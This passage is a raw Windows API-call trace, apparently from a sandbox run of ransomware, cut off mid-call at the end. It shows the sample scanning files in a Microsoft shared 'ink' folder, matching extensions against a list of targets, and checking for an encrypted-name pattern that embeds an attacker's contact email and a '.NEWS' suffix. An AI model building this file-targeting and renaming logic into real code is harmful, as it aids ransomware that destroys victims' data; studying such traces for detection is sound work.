[0158.394] lstrlenW (lpString=".rar") returned 4 [0158.394] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.394] lstrlenW (lpString=".bz2") returned 4 [0158.394] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.394] lstrlenW (lpString=".7z") returned 3 [0158.394] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.394] lstrlenW (lpString=".dbf") returned 4 [0158.394] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.394] lstrlenW (lpString=".1cd") returned 4 [0158.394] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0158.394] lstrlenW (lpString=".jpg") returned 4 [0158.394] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.394] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.394] lstrlenW (lpString="delete.avi") returned 10 [0158.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.509] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=208408) returned 1 [0158.510] CloseHandle (hObject=0x3c0) returned 1 [0158.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0158.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.519] lstrlenW (lpString=".doc") returned 4 [0158.519] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.520] lstrlenW (lpString=".docx") returned 5 [0158.521] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0158.521] lstrlenW (lpString=".pdf") returned 4 [0158.522] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.522] lstrlenW (lpString=".xls") returned 4 [0158.522] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.533] lstrlenW (lpString=".xlsx") returned 5 [0158.556] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0158.556] lstrlenW (lpString=".ppt") returned 4 [0158.556] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.556] lstrlenW (lpString=".zip") returned 4 [0158.556] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.556] lstrlenW (lpString=".rar") returned 4 [0158.556] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.556] lstrlenW (lpString=".bz2") returned 4 [0158.556] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.556] lstrlenW (lpString=".7z") returned 3 [0158.556] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.556] lstrlenW (lpString=".dbf") returned 4 [0158.556] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.557] lstrlenW (lpString=".1cd") returned 4 [0158.557] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.557] lstrlenW (lpString=".jpg") returned 4 [0158.557] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.557] lstrlenW (lpString=".doc") returned 4 [0158.557] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString=".docx") returned 5 [0158.557] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0158.557] lstrlenW (lpString=".pdf") returned 4 [0158.557] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString=".xls") returned 4 [0158.557] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString=".xlsx") returned 5 [0158.557] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0158.557] lstrlenW (lpString=".ppt") returned 4 [0158.557] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.557] lstrlenW (lpString=".zip") returned 4 [0158.557] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString=".rar") returned 4 [0158.557] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.557] lstrlenW (lpString=".bz2") returned 4 [0158.558] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.558] lstrlenW (lpString=".7z") returned 3 [0158.558] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.558] lstrlenW (lpString=".dbf") returned 4 [0158.558] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.558] lstrlenW (lpString=".1cd") returned 4 [0158.558] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0158.558] lstrlenW (lpString=".jpg") returned 4 [0158.558] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.558] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.558] lstrlenW (lpString="zh-dayi.xml") returned 11 [0158.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.560] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11067) returned 1 [0158.560] CloseHandle (hObject=0x3c0) returned 1 [0158.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0158.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.560] lstrlenW (lpString=".doc") returned 4 [0158.560] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.560] lstrlenW (lpString=".docx") returned 5 [0158.560] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0158.560] lstrlenW (lpString=".pdf") returned 4 [0158.560] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString=".xls") returned 4 [0158.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString=".xlsx") returned 5 [0158.561] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0158.561] lstrlenW (lpString=".ppt") returned 4 [0158.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.561] lstrlenW (lpString=".zip") returned 4 [0158.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.561] lstrlenW (lpString=".rar") returned 4 [0158.561] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString=".bz2") returned 4 [0158.561] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString=".7z") returned 3 [0158.561] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.561] lstrlenW (lpString=".dbf") returned 4 [0158.561] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.561] lstrlenW (lpString=".1cd") returned 4 [0158.561] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.561] lstrlenW (lpString=".jpg") returned 4 [0158.561] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.561] lstrlenW (lpString=".doc") returned 4 [0158.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString=".docx") returned 5 [0158.562] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0158.562] lstrlenW (lpString=".pdf") returned 4 [0158.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString=".xls") returned 4 [0158.562] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString=".xlsx") returned 5 [0158.562] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0158.562] lstrlenW (lpString=".ppt") returned 4 [0158.562] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.562] lstrlenW (lpString=".zip") returned 4 [0158.562] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.562] lstrlenW (lpString=".rar") returned 4 [0158.562] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString=".bz2") returned 4 [0158.562] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString=".7z") returned 3 [0158.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.562] lstrlenW (lpString=".dbf") returned 4 [0158.562] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.562] lstrlenW (lpString=".1cd") returned 4 [0158.562] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0158.562] lstrlenW (lpString=".jpg") returned 4 [0158.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.563] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.563] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0158.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.565] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10947) returned 1 [0158.565] CloseHandle (hObject=0x3c0) returned 1 [0158.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0158.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.565] lstrlenW (lpString=".doc") returned 4 [0158.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.565] lstrlenW (lpString=".docx") returned 5 [0158.565] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0158.565] lstrlenW (lpString=".pdf") returned 4 [0158.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.565] lstrlenW (lpString=".xls") returned 4 [0158.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.565] lstrlenW (lpString=".xlsx") returned 5 [0158.566] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0158.566] lstrlenW (lpString=".ppt") returned 4 [0158.566] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.566] lstrlenW (lpString=".zip") returned 4 [0158.566] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.566] lstrlenW (lpString=".rar") returned 4 [0158.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString=".bz2") returned 4 [0158.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString=".7z") returned 3 [0158.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.566] lstrlenW (lpString=".dbf") returned 4 [0158.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.566] lstrlenW (lpString=".1cd") returned 4 [0158.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.566] lstrlenW (lpString=".jpg") returned 4 [0158.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.566] lstrlenW (lpString=".doc") returned 4 [0158.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.566] lstrlenW (lpString=".docx") returned 5 [0158.566] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0158.567] lstrlenW (lpString=".pdf") returned 4 [0158.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString=".xls") returned 4 [0158.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString=".xlsx") returned 5 [0158.567] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0158.567] lstrlenW (lpString=".ppt") returned 4 [0158.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.567] lstrlenW (lpString=".zip") returned 4 [0158.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.567] lstrlenW (lpString=".rar") returned 4 [0158.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString=".bz2") returned 4 [0158.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString=".7z") returned 3 [0158.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.567] lstrlenW (lpString=".dbf") returned 4 [0158.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.567] lstrlenW (lpString=".1cd") returned 4 [0158.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0158.567] lstrlenW (lpString=".jpg") returned 4 [0158.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.568] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.568] lstrlenW (lpString="main.xml") returned 8 [0158.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.568] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=44506) returned 1 [0158.568] CloseHandle (hObject=0x3c0) returned 1 [0158.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0158.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.569] lstrlenW (lpString=".doc") returned 4 [0158.569] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.569] lstrlenW (lpString=".docx") returned 5 [0158.569] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0158.569] lstrlenW (lpString=".pdf") returned 4 [0158.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.569] lstrlenW (lpString=".xls") returned 4 [0158.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.569] lstrlenW (lpString=".xlsx") returned 5 [0158.569] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0158.569] lstrlenW (lpString=".ppt") returned 4 [0158.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.569] lstrlenW (lpString=".zip") returned 4 [0158.569] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.569] lstrlenW (lpString=".rar") returned 4 [0158.569] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.569] lstrlenW (lpString=".bz2") returned 4 [0158.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.569] lstrlenW (lpString=".7z") returned 3 [0158.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.570] lstrlenW (lpString=".dbf") returned 4 [0158.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.570] lstrlenW (lpString=".1cd") returned 4 [0158.570] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.570] lstrlenW (lpString=".jpg") returned 4 [0158.570] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.570] lstrlenW (lpString=".doc") returned 4 [0158.570] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString=".docx") returned 5 [0158.570] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0158.570] lstrlenW (lpString=".pdf") returned 4 [0158.570] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString=".xls") returned 4 [0158.570] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString=".xlsx") returned 5 [0158.570] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0158.570] lstrlenW (lpString=".ppt") returned 4 [0158.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.570] lstrlenW (lpString=".zip") returned 4 [0158.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.570] lstrlenW (lpString=".rar") returned 4 [0158.571] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.571] lstrlenW (lpString=".bz2") returned 4 [0158.571] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.571] lstrlenW (lpString=".7z") returned 3 [0158.571] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.571] lstrlenW (lpString=".dbf") returned 4 [0158.571] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.571] lstrlenW (lpString=".1cd") returned 4 [0158.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0158.571] lstrlenW (lpString=".jpg") returned 4 [0158.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.571] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.571] lstrlenW (lpString="oskclearuibase.xml") returned 18 [0158.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.574] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=737) returned 1 [0158.574] CloseHandle (hObject=0x3c0) returned 1 [0158.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0158.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft 